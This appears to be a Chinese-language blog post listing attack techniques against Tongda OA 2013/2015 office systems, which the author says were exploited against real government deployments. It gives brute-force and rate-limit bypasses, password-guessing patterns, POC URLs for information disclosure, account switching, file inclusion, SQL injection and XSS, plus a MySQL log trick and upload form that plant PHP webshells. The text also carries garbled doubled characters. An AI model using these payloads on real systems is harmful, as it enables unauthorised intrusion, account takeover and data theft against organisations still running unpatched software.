发现政府的单位很多通达OA,⽽而且都是2013,2015版本,他们太抠不不愿意升级。然后总是能⻅见到他们⼚厂 商对漏漏洞洞情况的不不重视,经常以这是⾃自⼰己账号没有保管好的原因⽽而对消极的态度对待漏漏洞洞修补。以下漏漏洞洞均 在真实环境中利利⽤用成功,由于部分漏漏洞洞敏敏感性相关未放出截图。

暴力破解

通达OA的登录⻚面通常有以下⼏种规律:

  • 没有任何限制
    这种情况你随便爆破吧!
  • 有验证码
    通常都是伪验证码,抓包直接绕过那种!
  • 有账号的错误登录次数限制,限制IP
    XFF直接进行绕过,或者你爆破相同密码下的用户名。
  • 乱七八糟的限制什么都有,上述方法都封你
    进⼊手机端暴力破解 ./pda

整理的OA相关⽤户名list:

中⽂文⽤用户名:oa_china.txt
拼⾳音⽤用户名:oa_pinyin.txt

TIPS:

1
2
他们的密码如果不是什么弱⼝口令的话,很可能是名字+123、名字+座机号、名字+⽣日。名字可以为全拼或者缩写
,或者姓全拼,名缩写。

登录页面截图:

未授权获取内部账号

有的系统存在不需要登录情况获取内部人员的信息,通过此信息,构造⽤户名密码。图⽚内容过于敏感,未截取。

POC:http://XXXXXXXX/mobile/inc/get_contactlist.php?P=1&KWORD=%&isuser_info=3

XFF导致日志混淆

使用header中的X-Forwarded-For想伪装⾃己的IP地址,你的IP地址会直接进⼊安全审计日志⾥面。很多地方你也可以配置这个来进行XSS盲打,但是此处不存在XSS。

⻚面敏感信息泄露

POC:
 /general/get_userinfo.php
 /general/ipanel/user/query.php
 /general/info/dept/

⻚面一泄露当前用户的密码MD5值,⻚面二和⻚面三为系统⽤户及用户权限的⻚面,可对用户进行针对性的攻击。

任意账号跳转

POC:
 /interface/ugo.php?OA_USER=admin

通过控制OA_USER参数进行任意⽤户的跳转,⽐如说你现在是个普通权限的⽤户,使用这个⻚面即可跳转到admin用户下面。

文件包含漏洞

POC:
 /inc/menu_left.php?GLOBALS[MENU_LEFT][A][module[1]=a&include_file=../inc/js/menu_left.js

通常情况下,在控制⾯板中上传⼀个jpg头像,然后利用该⻚面的⽂件包含getshell。通达OA网站的根⽬录 一般在D:\MYOA\webroot中,头像附件一般在D:\MYOA\webroot\attachment\avatar\XXX.jpg

SQL注⼊点

POC:
 /general/mytable/intel_view/workflow.php?MAX_COUNT=15 procedure analyse(extrac

tvalue(rand(),concat(0x3a,database())),1)&TYPE=3&MODULE_SCROLL=false&MODULE_ID=55&
MODULE_ID=Math.random
/general/document/index.php/recv/register/turn post(_SERVER=&rid=1’)
/general/document/index.php/recv/register/insert post: title)values(“‘“^exp(if(1%3d2,1,710)))#=1&_SERVER=

XSS

发邮件的地方、问题问答的地⽅都存在XSS,可获取他人账号权限。⼀般情况下,OA会有前端进行过滤, 所以抓包时候去添加payload,之后会对事件进行过滤,所以使用

POC:<img src=x onerror=eval(atob('cz1jcmVXXXXXytNYXRoXXXXXXXXhbmRvbSgp'))>

这个漏洞获取admin权限⾮常好用。想X谁X谁!

变量覆盖,越权访问

将get型访问转换成post,并且post参数_SERVER,即可越权访问admin才能访问的⻚面。根据⽹上的通达 OA的源码找这些敏感地址,如: /general/system/database/

⽂章结尾提供通达OA2013源码,具有一定的参考性。根据源码,几乎所有敏感的⻚面都可以使用这种方式进行越权访问,⽐如说设置⻆色权限的⻚面啊什么的。这个⻚面就已经可以XX了!

数据库脚本导⼊getshell

⾥面的database⻚面可以导入sql脚本文件,但是系统过滤了很多,有很多的限制,使⽤mysql日志的方式进行 突破。

set global general_log = on;

set global general_log_file = ‘../webroot/test.php’;
select ‘<?php assert($_POST[a]) ?>’;
set global general_log = off;

⽂件上传漏洞

存在⻚面可以直接上传。

1
2
3
4
5
<form enctype="multipart/form-data" action="**.**.**.**/general/vmeet/wbUpload.php
?fileName=test.php+" method="post">
<input type="file" name="Filedata" size="50"><br>
<input type="submit" value="Upload">
</form>

上传jpg之后shell地址为/general/vmeet/wbUpload/test.php

php安全模式绕过

利用10中的shell菜⼑链接,会提示开启了php安全模式,直接使⽤表哥的项目,查看哪些函数可⽤并使用。 项⽬地址:https://github.com/l3m0n/BypassDisablefunctions_Shell

THE END

附上通达OA2013源码地址:oa2013 我的总结不代表全部,肯定还有更全面的总结和我没有收集到的漏洞。

留言

2019-08-12

本文总阅读量
⬆︎TOP